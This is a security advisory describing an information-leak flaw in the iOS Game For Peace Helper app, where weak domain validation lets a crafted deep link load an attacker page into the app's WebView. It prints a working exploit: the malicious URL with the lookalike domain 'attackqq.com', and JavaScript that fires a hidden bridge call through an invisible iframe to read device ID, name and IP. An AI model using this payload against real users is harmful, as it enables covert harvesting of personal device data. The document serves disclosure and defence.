An information leak vulnerability in the iOS version of Game For Peace Helper App

Brief Description

Game For Peace Helper is a game helper app, providing functions such as official news browsering, live streaming viewing and community content viewing. It ranks **No.12** in the **"Social Networking" category** list on the App Store of the Chinese region and has **68,000 ratings**.






The iOS version of the Game For Peace Helper app supports opening web pages from external deep link URL (Scheme-customized URL). Within the built-in WebView, there are **custom interfaces** designed for invocation within web pages. These interfaces are not publicly exposed, but through reverse engineering, we can discover how to invoke them. We found a **flaw in the domain name validation** when these interfaces are invoked.

Thus, an attacker can craft a malicious Scheme-customized URL. When clicked by the victim in a browser or another app, the URL can direct the victim to the Game For Peace Helper app and open a web page controlled by the attacker. The attacker can then invoke privileged interfaces and carry out malicious activities, such as retrieving victim's Device Information.

Vulnerability Exploitation Process and Root Cause

The attacker, lures the user to click on a malicious URL in the following format: pggamehelper://webopenapi?action=20002&url=http://attackqq.com/gameforpeacehelper/at kGameForPeaceHelper.html. Here, "attackqq.com" is a domain registered by the attacker and under the attacker's control. The domain should have the same suffix as Game For Peace Helper app's official domain name "qq.com". It is completely feasible and inexpensive to register such a domain name, as shown below.



In our experiment, we did not actually register attackqq.com, but modified the DNS rules in the local area network to map attackqq.com to our own website.

When the victim clicks on this URL, it directs the victim to the Game For Peace Helper app and opens the webpage http://attackqq.com/gameforpeacehelper/atkGameForPeaceHelper.html within the app.



Within the webpage, the attacker can then invoke privileged interfaces and carry out malicious activities, such as **retrieving victim's Device Information**.



Part of the code for JS to call OC and the callback function defined in JS are shown below:

```
function fetchData(url) {
    var iframe = document.createElement("iframe");
    iframe.style.cssText = "display:none;width:0px;height:0px;";
    iframe.src = url;
    document.body.appendChild(iframe);
}

fetchData('gamehelper:getC==11=11=1:{}');
```

```
var GameHelper = {
    callback: function(res) {
        var json = res;
        document.getElementById("DeviceID").innerText = "Your DeviceID: \n" + json.deviceID;
        document.getElementById("DeviceName").innerText = "Your DeviceName: \n" + json.deviceName;
        document.getElementById("IP").innerText = "Your IP Address: \n" + json.ipAddress;
    }
};
```

Impact of the Vulnerability

Scope of the vulnerability: Game For Peace Helper app iOS v3.28.0.754 (the latest version as of 2024-11-11).

Consequences of the vulnerability: Information disclosure.

Download link for affected application:

CN:

https://apps.apple.com/cn/app/%E5%92%8C%E5%B9%B3%E8%90%A5%E5%9C%B0/id1 336435685

Possible Countermeasures

Should implement proper domain name checks before the invocation of privileged interfaces.